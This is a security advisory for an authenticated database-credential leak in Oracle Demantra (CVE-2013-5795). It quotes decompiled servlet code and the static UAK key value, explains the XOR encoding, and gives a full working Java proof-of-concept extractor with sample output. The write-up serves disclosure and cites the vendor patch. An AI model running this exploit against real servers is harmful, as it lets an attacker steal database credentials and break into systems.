Oracle Demantra - Database Credentials Leak (CVE-2013-5795) - Authenticated

Oracle Demantra - Database Credentials Leak (CVE-2013-5795) - Authenticated

Vulnerable Systems:

Description:

Demantra has a backend function that allows an administrator to retrieve the database instance name and the corresponding credentials.

Details:

The URL endpoint for this functionality is located at:

  • /demantra/ServerDetailsServlet
The initial function looks like this:
public void doGet(HttpServletRequest iRequest, HttpServletResponse ioResponse) throws ServletException, IOException {
    PrintWriter outWriter = null;
    String dbDetails = null;
    String msg = null;
    String uak = iRequest.getParameter("UAK");
 
    if(Logger.isDebugEnabled("appserver.configuration")) MessagesService.getPlatformMassage(40688, new Object[] { getClass().getName(), (new StringBuilder()).append("UAK=").append(uak).toString() });
 
    if(isValidUAK(uak)) {
        dbDetails = getDBParams();
        dbDetails = CryptographicService.encodeString(dbDetails);
        msg = MessagesService.getPlatformMassage(20176, new Object[] { dbDetails });
        if(Logger.isDebugEnabled("appserver.configuration")) Logger.log("appserver.configuration", msg);
            if(dbDetails != null) {
                outWriter = new PrintWriter(ioResponse.getOutputStream());
                outWriter.print(dbDetails);
                outWriter.flush();
            outWriter.close();
        } else {
            ioResponse.sendError(500, msg);
        }
    } else {
        ioResponse.sendError(403);
    }
}
We can see that a URL parameter named UAK is required. If the UAK string is correct then the database parameters are read and encrypted.
The getDBParams function looks like this:
private String getDBParams() {
    StringBuilder strBuilder = new StringBuilder();
    String dbName = null;
    String resStr = null;
    String msg = null;
    boolean isValid = true;
 
    if(JDBCConnectionPool.DBTypeId == 1) dbName = "orc";
        else dbName = CommonProp.DB_NAME;
    if(CommonProp.DB_USER == null || CommonProp.DB_USER.length() == 0) {
        isValid = false;
        msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_USER });
        Logger.warn(msg);
    }
    if(CommonProp.DB_PASSWORD == null || CommonProp.DB_PASSWORD.length() == 0) {
        isValid = false;
        msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_PASSWORD });
        Logger.warn(msg);
    }
    if(CommonProp.TNS_NAME == null || CommonProp.TNS_NAME.length() == 0) {
        isValid = false;
        msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TNS_NAME });
        Logger.warn(msg);
    }
    if(dbName == null || dbName.length() == 0) {
        isValid = false;
        msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_NAME });
        Logger.warn(msg);
    }
    if(JDBCConnectionPool.DBTypeId < 1 || JDBCConnectionPool.DBTypeId > 2) {
        isValid = false;
        msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TYPE });
        Logger.warn(msg);
    }
    if(isValid) {
        strBuilder.append(CommonProp.DB_USER);
        strBuilder.append("?");
        strBuilder.append(CommonProp.DB_PASSWORD);
        strBuilder.append("?");
        strBuilder.append(CommonProp.TNS_NAME);
        strBuilder.append("?");
        strBuilder.append(dbName);
        strBuilder.append("?");
        strBuilder.append(JDBCConnectionPool.DBTypeId);
        resStr = strBuilder.toString();
    }
    return resStr;
}
Now we need to see how UAK is calculated. The necessary function can be found in the following file:
  • WEB-INF/classes/com/demantra/applicationServer/metaDataObjects/user/SGEUser.class
Suprisingly, the UAK key is calculated statically:
private static String createJavaUAK() {
    String uak = null;
 
    try {
        String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));
        StringBuffer tmp = new StringBuffer("sge");
        tmp.append(0);
        tmp.append(encryptedPassword);
        uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));
    } catch(NoSuchAlgorithmException e) {
        Logger.error(e);
    }
    return uak;
}
When calculated, the UAK string will always be:
406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
The last step is to analyze how the dbDetails parameter encrypts the data, so that we can decrypt it correctly. The function looks like this:
public static String decodeString(String text) {
    if(text == null) return null;
    String ret = null;
    StringTokenizer strTokenizer = new StringTokenizer(text, ",");
    int size = strTokenizer.countTokens();
    byte bytes[] = new byte[size];
    for(int counter = 0; strTokenizer.hasMoreTokens(); counter++) {
        int a = Integer.parseInt(strTokenizer.nextToken());
        a ^= 0x50;
        bytes[counter] = (byte)a;
    }
    try {
        ret = new String(bytes, "UTF-8");
    } catch(Exception e) {
        e.printStackTrace();
    }
    return ret;
}
As we can see the method used to secure the data is a simple XOR algorithm.
Armed with those information it is possible to create a simple database credentials extractor.
pixel:demantra user$ java getUAK
-=[Oracle Demantra Database Details Retriever ]=-

[+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
[+] Retrieved the following encrypted string:
4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97,
[+] Decrypted string is:
TEST?test?demantra?orc?1
Together with the authentication bypass this can be exploited unauthenticated as well.

Java POC:

Please note there's a metasploit module available as well.

import java.io.*;
import java.net.*;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.StringTokenizer;

public class getUAK 
{
  private static final char K_DIGITS[] = {
            '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 
                    'A', 'B', 'C', 'D', 'E', 'F'
                        };


  public static String decodeString(String text)
    {
        if(text == null)
            return null;
        String ret = null;
        StringTokenizer strTokenizer = new StringTokenizer(text, ",");
        int size = strTokenizer.countTokens();
        byte bytes[] = new byte[size];
        for(int counter = 0; strTokenizer.hasMoreTokens(); counter++)
        {
            int a = Integer.parseInt(strTokenizer.nextToken());
            a ^= 0x50;
            bytes[counter] = (byte)a;
        }

        try
        {
            ret = new String(bytes, "UTF-8");
        }
        catch(Exception e)
        {
            e.printStackTrace();
        }
        return ret;
    }


  public static String encodeHashStringHex(String text, String encryptionType)
        throws NoSuchAlgorithmException
    {
        String returnVal = null;
        if(encryptionType == null)
            throw new NoSuchAlgorithmException();
        if("DEMANTRA".equalsIgnoreCase(encryptionType))
        {
            returnVal = encodeString(text);
        } else
        {
            byte res[] = encodeHashString(text, encryptionType);
            if(res != null && res.length != 0)
            {
                char hex[] = new char[res.length * 2];
                for(int index = 0; index < res.length; index++)
                {
                    int value = (res[index] + 256) % 256;
                    int highIndex = value >> 4;
                    int lowIndex = value & 0xf;
                    hex[index * 2 + 0] = K_DIGITS[highIndex];
                    hex[index * 2 + 1] = K_DIGITS[lowIndex];
                }

                returnVal = new String(hex);
            }
        }
        return returnVal;
    }

  private static byte[] encodeHashString(String text, String encryptionType)
        throws NoSuchAlgorithmException
    {
        MessageDigest md = MessageDigest.getInstance(encryptionType);
        byte hashByte[] = md.digest(text.getBytes());
        return hashByte;
    }

  public static String encodeString(String text)
    {
        if(text == null)
            return null;
        StringBuffer output = new StringBuffer();
        byte bytesOut[] = null;
        try
        {
            bytesOut = text.getBytes("UTF-8");
        }
        catch(Exception e)
        {
            e.printStackTrace();
        }
        for(int i = 0; i < bytesOut.length; i++)
        {
            int a = bytesOut[i] & 0xff;
            a ^= 0x50;
            output.append(a);
            output.append(",");
        }

        return output.toString();
    }



  public String getHTML(String urlToRead) 
  {
    URL url;
    HttpURLConnection conn;
    BufferedReader rd;
    String line;
    String result = "";
    try {
      url = new URL(urlToRead);
      conn = (HttpURLConnection) url.openConnection();
      conn.setRequestMethod("GET");
      rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
      while ((line = rd.readLine()) != null) 
      {
        result += line;
      }
      rd.close();
    } catch (Exception e) {
      e.printStackTrace();
    }
    return result;
  }
  
  private static String createJavaUAK()
  {
    String uak = null;
    try
    {
      String encryptedPassword = new String(encodeHashStringHex("er6Us8wB", "SHA-256"));
      StringBuffer tmp = new StringBuffer("sge");
      tmp.append(0);
      tmp.append(encryptedPassword);
      uak = new String(encodeHashStringHex(tmp.toString(), "SHA-256"));
    }
    catch(NoSuchAlgorithmException e)
    {
      e.printStackTrace();
    }
      return uak;
    }

  public static String getCreds(String res)
  {
    String[] chars = res.split(",");
    for (int i=0; i<chars.length; i++) {
          char c = (char)Integer.parseInt(chars[i]);
          System.out.println( c );
    }

    //char c = (char)i; 
    //System.out.println("c = " + c);

    return chars.toString();
  }

  public static void main(String args[])
   {
     String uak = null;
     String url = null;
     String result = null;
     
     getUAK c = new getUAK();
     uak = c.createJavaUAK();
     url = args[0];

     result = c.getHTML(url+=uak);
     System.out.print(decodeString(result));
   }
}

Impact:

A remote, unauthenticated attacker could exploit this issue in combination with other found issues, to extract the database credentials and instance name.

Recommendation:

Please see the according Oracle CPU under:
http://www.oracle.com/technetwork/topics/security/cpujan2014-1972949.html

© 2015 coma. All rights reserved.
Disclaimer: There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk.
In no event shall the author be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.